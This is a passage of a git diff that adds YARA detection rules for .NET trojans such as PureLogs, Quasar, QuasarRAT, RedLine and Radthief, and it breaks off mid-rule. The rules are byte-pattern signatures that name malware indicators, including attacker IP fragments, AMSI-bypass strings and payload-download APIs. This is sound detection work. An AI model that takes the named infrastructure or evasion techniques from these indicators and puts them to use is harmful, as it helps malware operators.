b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZXY_MTB.yar new file mode 100644 index 0000000000..699b899b4a --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZXY_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogs_ZXY_MTB{ + meta: + description = "Trojan:BAT/PureLogs.ZXY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {26 20 00 00 00 00 38 ?? ff ff ff 11 00 6f ?? 00 00 0a 03 16 03 8e 69 6f ?? 00 00 0a 13 03 20 02 00 00 00 7e ?? 02 00 04 7b ?? 02 00 04 3a ?? ff ff ff 26 20 01 00 00 00 38 } //10 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZZV_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZZV_MTB.yar new file mode 100644 index 0000000000..fdddfcc14d --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZZV_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogs_ZZV_MTB{ + meta: + description = "Trojan:BAT/PureLogs.ZZV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {07 20 9f 22 00 00 28 ?? 02 00 06 28 ?? 00 00 0a 6f ?? 00 00 0a 07 20 c6 22 00 00 28 ?? 02 00 06 28 ?? 00 00 0a 6f ?? 00 00 0a 07 6f ?? 00 00 0a 06 16 06 8e 69 6f ?? 00 00 0a 0c de 12 } //10 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_Purelogs_PGP_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_Purelogs_PGP_MTB.yar new file mode 100644 index 0000000000..7c3de86e9c --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_Purelogs_PGP_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Purelogs_PGP_MTB{ + meta: + description = "Trojan:BAT/Purelogs.PGP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {31 00 37 00 39 00 2e 00 34 00 33 00 2f 00 70 00 61 00 6e 00 65 00 6c 00 2f 00 70 00 61 00 6e 00 65 00 6c 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 73 } //1 + $a_01_1 = {52 00 65 00 61 00 64 00 41 00 73 00 42 00 79 00 74 00 65 00 41 00 72 00 72 00 61 00 79 00 41 00 73 00 79 00 6e 00 63 00 00 11 47 00 65 00 74 00 41 00 73 00 79 00 6e 00 63 } //4 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*4) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AHAB_MTB.yar b/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AHAB_MTB.yar new file mode 100644 index 0000000000..471b119692 --- /dev/null +++ b/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AHAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Quasar_AHAB_MTB{ + meta: + description = "Trojan:BAT/Quasar.AHAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {ff ff 11 08 74 ?? 00 00 01 75 ?? 00 00 01 74 ?? 00 00 1b 11 09 11 07 11 0a 25 17 58 13 0a 91 08 61 d2 9c 16 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AQI_MTB.yar b/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AQI_MTB.yar new file mode 100644 index 0000000000..f464ed5db4 --- /dev/null +++ b/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AQI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Quasar_AQI_MTB{ + meta: + description = "Trojan:BAT/Quasar.AQI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {13 12 2b 23 11 11 11 12 9a 13 13 00 11 13 28 ?? ?? ?? 0a 13 14 11 14 2c 07 00 07 17 58 0b 2b 0f 00 11 12 17 58 13 12 11 12 11 11 8e 69 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AQR_MTB.yar b/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AQR_MTB.yar new file mode 100644 index 0000000000..8b9244f238 --- /dev/null +++ b/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AQR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Quasar_AQR_MTB{ + meta: + description = "Trojan:BAT/Quasar.AQR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {02 8e 69 8d 12 00 00 01 0a 16 0b 2b 13 06 07 02 07 91 03 07 03 8e 69 5d 91 61 d2 9c 07 17 58 0b 07 02 8e 69 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AQU_MTB.yar b/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AQU_MTB.yar index 50ea4db193..e883306f01 100644 --- a/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AQU_MTB.yar +++ b/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AQU_MTB.yar @@ -8,4 +8,14 @@ rule Trojan_BAT_Quasar_AQU_MTB{ condition: ((#a_03_0 & 1)*1) >=1 +} +rule Trojan_BAT_Quasar_AQU_MTB_2{ + meta: + description = "Trojan:BAT/Quasar.AQU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {13 0f 11 0f 2c 25 00 72 ?? 05 00 70 11 0e 7b ?? 00 00 04 6f ?? 00 00 0a 28 ?? 00 00 0a 28 ?? 00 00 0a 00 17 13 0b ?? ?? ?? ?? ?? 00 de 05 26 00 00 de 00 00 11 0d 17 58 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + } \ No newline at end of file diff --git a/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AUQR_MTB.yar b/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AUQR_MTB.yar new file mode 100644 index 0000000000..6469a2cdfe --- /dev/null +++ b/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AUQR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Quasar_AUQR_MTB{ + meta: + description = "Trojan:BAT/Quasar.AUQR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {0b 06 07 28 ?? 02 00 0a 28 ?? 02 00 0a 0c 06 28 ?? 02 00 0a 3a 1a 00 00 00 06 28 ?? 03 00 0a 26 06 73 ?? 03 00 0a 25 6f ?? 04 00 0a 18 60 6f ?? 04 00 0a 08 28 ?? 02 00 0a 3a 0e 00 00 00 07 08 28 ?? 03 00 0a 08 18 28 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AUQ_MTB.yar b/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AUQ_MTB.yar new file mode 100644 index 0000000000..19d5e8bd87 --- /dev/null +++ b/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AUQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Quasar_AUQ_MTB{ + meta: + description = "Trojan:BAT/Quasar.AUQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {11 05 08 11 04 6f ?? 00 00 0a de 0c 11 05 2c 07 11 05 6f ?? 00 00 0a dc 73 ?? 00 00 0a 25 11 04 6f ?? 00 00 0a 25 16 6f ?? 00 00 0a 25 17 6f ?? 00 00 0a 25 17 6f } //2 + $a_01_1 = {31 00 39 00 33 00 2e 00 31 00 35 00 31 00 2e 00 31 00 30 00 38 00 2e 00 33 00 34 00 } //5 193.151.108.34 + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*5) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AWAB_MTB.yar b/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AWAB_MTB.yar new file mode 100644 index 0000000000..f05f41669e --- /dev/null +++ b/Trojan/BAT/Quasar/Trojan_BAT_Quasar_AWAB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Quasar_AWAB_MTB{ + meta: + description = "Trojan:BAT/Quasar.AWAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_01_0 = {fe 0c 02 00 fe 0c 04 00 fe 0c 01 00 fe 0c 04 00 91 20 aa 00 00 00 61 d2 9c } //4 + $a_01_1 = {fe 0c 01 00 fe 0c 04 00 8f 18 01 00 01 25 47 fe 0c 00 00 fe 0c 04 00 fe 0c 00 00 8e 69 5d 91 61 d2 52 } //2 + condition: + ((#a_01_0 & 1)*4+(#a_01_1 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRAT_DB_MTB.yar b/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRAT_DB_MTB.yar new file mode 100644 index 0000000000..5829e12e40 --- /dev/null +++ b/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRAT_DB_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_BAT_QuasarRAT_DB_MTB{ + meta: + description = "Trojan:BAT/QuasarRAT.DB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,ffffff88 00 ffffff88 00 0b 00 00 " + + strings : + $a_81_0 = {53 68 61 72 70 42 65 61 63 6f 6e 2d 6d 61 73 74 65 72 } //100 SharpBeacon-master + $a_81_1 = {44 6c 6c 43 61 6e 55 6e 6c 6f 61 64 4e 6f 77 } //10 DllCanUnloadNow + $a_03_2 = {68 00 74 00 74 00 70 00 [0-01] 3a 00 2f 00 2f 00 [0-64] 2e 00 65 00 78 00 65 00 } //10 + $a_03_3 = {68 74 74 70 [0-01] 3a 2f 2f [0-64] 2e 65 78 65 } //10 + $a_81_4 = {61 6d 73 69 2e 64 6c 6c } //10 amsi.dll + $a_01_5 = {41 4d 53 49 42 79 70 61 73 73 } //1 AMSIBypass + $a_01_6 = {50 61 74 63 68 } //1 Patch + $a_01_7 = {47 65 74 50 72 6f 63 41 64 64 72 65 73 73 } //1 GetProcAddress + $a_01_8 = {46 69 6e 64 41 64 64 72 65 73 73 } //1 FindAddress + $a_01_9 = {4c 6f 61 64 4c 69 62 72 61 72 79 } //1 LoadLibrary + $a_01_10 = {56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 } //1 VirtualProtect + condition: + ((#a_81_0 & 1)*100+(#a_81_1 & 1)*10+(#a_03_2 & 1)*10+(#a_03_3 & 1)*10+(#a_81_4 & 1)*10+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=136 + +} \ No newline at end of file diff --git a/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRAT_NIT_MTB.yar b/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRAT_NIT_MTB.yar new file mode 100644 index 0000000000..ecc98b01a0 --- /dev/null +++ b/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRAT_NIT_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_QuasarRAT_NIT_MTB{ + meta: + description = "Trojan:BAT/QuasarRAT.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 00 " + + strings : + $a_03_0 = {38 27 00 00 00 28 ?? 00 00 0a 72 01 00 00 70 28 ?? 00 00 0a 25 11 01 28 ?? 00 00 0a 28 ?? 00 00 0a 26 20 02 00 00 00 38 bb ff ff ff 38 66 00 00 00 20 04 00 00 00 fe 0e 03 00 38 a4 ff ff ff 11 04 72 0b 00 00 70 6f 08 00 00 0a 6f 09 00 00 0a 13 01 20 00 00 00 00 7e 0b 00 00 04 7b 30 00 00 04 3a 81 ff ff ff 26 20 01 00 00 00 38 76 ff ff ff 11 01 3a 8d ff ff ff 20 00 00 00 00 7e 0b 00 00 04 7b 48 00 00 04 3a 5b ff ff ff 26 20 00 00 00 00 38 50 ff ff ff } //2 + $a_01_1 = {57 72 69 74 65 41 6c 6c 42 79 74 65 73 } //2 WriteAllBytes + $a_01_2 = {47 65 74 42 79 74 65 41 72 72 61 79 41 73 79 6e 63 } //2 GetByteArrayAsync + $a_01_3 = {46 72 6f 6d 4d 69 6e 75 74 65 73 } //1 FromMinutes + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRat_JKU_MTB.yar b/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRat_JKU_MTB.yar new file mode 100644 index 0000000000..a10ad87864 --- /dev/null +++ b/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRat_JKU_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_QuasarRat_JKU_MTB{ + meta: + description = "Trojan:BAT/QuasarRat.JKU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {7e da 00 00 04 0c 00 00 07 6f a2 00 00 0a 72 e5 55 00 70 6f a3 00 00 0a 00 07 6f a2 00 00 0a 72 f5 55 00 70 08 72 e0 2a 00 70 28 7b 00 00 0a 6f a4 00 00 0a 00 07 6f a2 00 00 0a 16 6f b9 01 00 0a 00 07 6f a6 00 00 0a 26 } //2 + $a_00_1 = {54 00 57 00 56 00 30 00 61 00 47 00 39 00 6b 00 4d 00 41 00 3d 00 3d 00 } //2 TWV0aG9kMA== + condition: + ((#a_01_0 & 1)*2+(#a_00_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRat_KAT_MTB.yar b/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRat_KAT_MTB.yar new file mode 100644 index 0000000000..443227b0c9 --- /dev/null +++ b/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRat_KAT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_QuasarRat_KAT_MTB{ + meta: + description = "Trojan:BAT/QuasarRat.KAT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {28 2e 01 00 0a 13 09 11 09 06 6f 2f 01 00 0a 6f 30 01 00 0a 00 11 09 06 6f 2f 01 00 0a 6f 31 01 00 0a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRat_SCW_MTB.yar b/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRat_SCW_MTB.yar new file mode 100644 index 0000000000..620ab3b39d --- /dev/null +++ b/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRat_SCW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_QuasarRat_SCW_MTB{ + meta: + description = "Trojan:BAT/QuasarRat.SCW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {7e 18 00 00 04 28 f5 04 00 06 80 18 00 00 04 7e 08 00 00 04 28 f5 04 00 06 80 08 00 00 04 7e 09 00 00 04 28 f5 04 00 06 80 09 00 00 04 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRat_SEBA_MTB.yar b/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRat_SEBA_MTB.yar new file mode 100644 index 0000000000..71650ea6fc --- /dev/null +++ b/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRat_SEBA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_QuasarRat_SEBA_MTB{ + meta: + description = "Trojan:BAT/QuasarRat.SEBA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {7e 0b 00 00 04 0c 08 0b 07 1f 29 2e 12 2b 00 07 1f 2a 2e 02 2b 12 1f 26 80 0b 00 00 04 2b 09 1f 25 80 0b 00 00 04 2b 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRat_SIPM_MTB.yar b/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRat_SIPM_MTB.yar new file mode 100644 index 0000000000..974fdda306 --- /dev/null +++ b/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRat_SIPM_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_QuasarRat_SIPM_MTB{ + meta: + description = "Trojan:BAT/QuasarRat.SIPM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {0a 72 86 e5 84 70 28 03 00 00 0a 0b 72 e0 e5 84 70 28 03 00 00 0a 0c 28 04 00 00 0a 0d 09 07 6f 05 00 00 0a 09 } //2 + $a_01_1 = {11 06 06 16 06 8e 69 6f 0b 00 00 0a 11 06 6f 0c 00 00 0a 11 05 6f 0d 00 00 0a 28 0e 00 00 0a 6f 0f 00 00 0a 14 14 6f 10 00 00 0a } //2 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRat_SLUY_MTB.yar b/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRat_SLUY_MTB.yar new file mode 100644 index 0000000000..a64e88c39c --- /dev/null +++ b/Trojan/BAT/QuasarRat/Trojan_BAT_QuasarRat_SLUY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_QuasarRat_SLUY_MTB{ + meta: + description = "Trojan:BAT/QuasarRat.SLUY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {da 0d 16 13 04 2b 4d 07 11 04 91 08 1b 20 88 13 00 00 6f e1 00 00 0a d8 28 92 00 00 0a 16 fe 01 13 05 11 05 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Radthief/Trojan_BAT_Radthief_MKV_MTB.yar b/Trojan/BAT/Radthief/Trojan_BAT_Radthief_MKV_MTB.yar new file mode 100644 index 0000000000..f35faa1f55 --- /dev/null +++ b/Trojan/BAT/Radthief/Trojan_BAT_Radthief_MKV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Radthief_MKV_MTB{ + meta: + description = "Trojan:BAT/Radthief.MKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {11 08 8d 1a 00 00 01 13 0b 06 1e 11 0b 16 11 08 28 ?? 00 00 0a 00 11 07 11 0b 16 11 0b 8e 69 6f 40 00 00 0a 13 0c 11 0c 11 0c 8e 69 11 05 20 00 10 00 00 28 20 00 00 06 20 00 10 00 00 fe 01 16 fe 01 13 18 11 18 3a 98 01 00 00 00 11 09 8d 1a 00 00 01 13 0d 12 0e 11 0a 28 4c 00 00 0a 00 11 0a 28 4d 00 00 0a 13 0f 06 1e 11 08 58 11 09 58 11 0f 11 0a 28 47 00 00 0a 00 06 1e 11 08 58 11 0d 16 11 09 28 38 00 00 0a 00 20 00 20 00 00 8d 1a 00 00 01 13 10 11 0d 11 09 11 10 20 00 20 00 00 ?? 20 00 00 06 13 11 11 11 16 fe 02 16 fe 01 13 18 11 18 3a 21 01 00 00 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Radthief/Trojan_BAT_Radthief_SIF_MTB.yar b/Trojan/BAT/Radthief/Trojan_BAT_Radthief_SIF_MTB.yar new file mode 100644 index 0000000000..097353b7c0 --- /dev/null +++ b/Trojan/BAT/Radthief/Trojan_BAT_Radthief_SIF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Radthief_SIF_MTB{ + meta: + description = "Trojan:BAT/Radthief.SIF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {1f 10 8d 1a 00 00 01 0b 1f 10 8d 1a 00 00 01 0c 7e 34 00 00 0a 0d 14 fe 06 1f 00 00 06 73 27 00 00 06 13 04 20 00 10 00 00 8d 1a 00 00 01 13 05 73 37 00 00 0a 13 06 7e 1d 00 00 04 16 08 16 1f 10 28 38 00 00 0a } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/RedLineStealer/Trojan_BAT_RedLineStealer_ZOR_MTB.yar b/Trojan/BAT/RedLineStealer/Trojan_BAT_RedLineStealer_ZOR_MTB.yar new file mode 100644 index 0000000000..cfc880503b --- /dev/null +++ b/Trojan/BAT/RedLineStealer/Trojan_BAT_RedLineStealer_ZOR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_RedLineStealer_ZOR_MTB{ + meta: + description = "Trojan:BAT/RedLineStealer.ZOR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {02 03 04 6f ?? 00 00 0a 0a 12 01 fe ?? 13 00 00 02 12 01 12 00 28 ?? 00 00 0a 7d ?? 00 00 04 12 01 12 00 28 ?? 00 00 0a 7d ?? 00 00 04 12 01 12 00 28 ?? 00 00 0a 7d ?? 00 00 04 12 01 07 7b ?? 00 00 04 20 80 00 00 00 59 6c 07 7b ?? 00 00 04 20 80 00 00 00 59 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/RedLineStealer/Trojan_BAT_RedlineStealer_EHIZ_MTB.yar b/Trojan/BAT/RedLineStealer/Trojan_BAT_RedlineStealer_EHIZ_MTB.yar new file mode 100644 index 0000000000..0b7c15aa7d --- /dev/null +++ b/Trojan/BAT/RedLineStealer/Trojan_BAT_RedlineStealer_EHIZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_RedlineStealer_EHIZ_MTB{ + meta: + description = "Trojan:BAT/RedlineStealer.EHIZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {06 07 20 d2 04 00 00 5a 61 0a 06 07 ?? ?? ?? ?? ?? 5a ?? ?? ?? ?? ?? 5d 58 0a 06 17 62 06 1f 1f 63 60 0a 07 17 58 0b 07 1f 0a 32 d4 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/RedLineStealer/Trojan_BAT_RedlineStealer_ENWL_MTB.yar b/Trojan/BAT/RedLineStealer/Trojan_BAT_RedlineStealer_ENWL_MTB.yar new file mode 100644 index 0000000000..b5d9061830 --- /dev/null +++ b/Trojan/BAT/RedLineStealer/Trojan_BAT_RedlineStealer_ENWL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_RedlineStealer_ENWL_MTB{ + meta: + description = "Trojan:BAT/RedlineStealer.ENWL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {6c 5b 13 22 1f 50 13 53 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 11 21 1f 64 5d 58 13 23 22 a0 1a cf 3f 11 21 6b 5a 13 24 11 55 1f 72 91 1f 56 58 13 53 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Redcap/Trojan_BAT_Redcap_NR_MTB.yar b/Trojan/BAT/Redcap/Trojan_BAT_Redcap_NR_MTB.yar new file mode 100644 index 0000000000..f795e65271 --- /dev/null +++ b/Trojan/BAT/Redcap/Trojan_BAT_Redcap_NR_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Redcap_NR_MTB{ + meta: + description = "Trojan:BAT/Redcap.NR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {8d 09 00 00 01 0a 06 20 00 00 00 00 fe 09 00 00 a2 06 28 ?? 07 00 06 74 10 00 00 01 } //2 + $a_01_1 = {48 6f 66 66 43 6f 6e 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //1 HoffCon.Resources.resources + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Redline/Trojan_BAT_RedLine_ACG_MTB.yar b/Trojan/BAT/Redline/Trojan_BAT_RedLine_ACG_MTB.yar new file mode 100644 index 0000000000..124455e833 --- /dev/null +++ b/Trojan/BAT/Redline/Trojan_BAT_RedLine_ACG_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_RedLine_ACG_MTB{ + meta: + description = "Trojan:BAT/RedLine.ACG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {02 07 08 6f ?? 00 00 0a 13 06 04 03 6f ?? 00 00 0a 59 13 07 11 07 19 fe 04 16 fe 01 } //3 + $a_03_1 = {07 11 04 5a 08 58 13 08 06 11 08 17 6f ?? 00 00 0a 00 1a 13 05 2b 1b 08 17 58 0c 18 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Redline/Trojan_BAT_Redline_AYVA_MTB.yar b/Trojan/BAT/Redline/Trojan_BAT_Redline_AYVA_MTB.yar new file mode 100644 index 0000000000..1b30ad847c --- /dev/null +++ b/Trojan/BAT/Redline/Trojan_BAT_Redline_AYVA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Redline_AYVA_MTB{ + meta: + description = "Trojan:BAT/Redline.AYVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 0c 08 02 7b ?? 00 00 04 6f ?? 00 00 0a 08 02 7b ?? 00 00 04 6f ?? 00 00 0a 08 6f ?? 00 00 0a 0d 73 ?? 00 00 0a 13 04 11 04 09 17 73 ?? 00 00 0a 13 05 2b 24 2b 26 16 2b 26 8e 69 2b 25 2b 2a 2b 2c 2b 31 2b 33 2b 38 11 06 03 72 ?? ?? 00 70 28 ?? ?? 00 06 17 0b de 5c 11 05 2b d8 06 2b d7 06 2b d7 6f ?? 00 00 0a 2b d4 11 05 2b d2 6f ?? 00 00 0a 2b cd 11 04 2b cb 6f ?? 00 00 0a 2b c6 13 06 2b c4 } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Reline/Trojan_BAT_Reline_BAA_MTB.yar b/Trojan/BAT/Reline/Trojan_BAT_Reline_BAA_MTB.yar new file mode 100644 index 0000000000..64bffe34fc --- /dev/null +++ b/Trojan/BAT/Reline/Trojan_BAT_Reline_BAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Reline_BAA_MTB{ + meta: + description = "Trojan:BAT/Reline.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {08 11 04 06 11 04 91 07 11 04 09 5d ?? ?? 00 00 0a 61 d2 9c 11 04 17 58 13 04 11 04 06 8e 69 32 df } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ACF_MTB.yar b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ACF_MTB.yar new file mode 100644 index 0000000000..eb7cf9b44d --- /dev/null +++ b/Trojan/BAT/Remcos/Trojan_BAT_Remcos_ACF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Remcos_ACF_MTB{ + meta: + description = 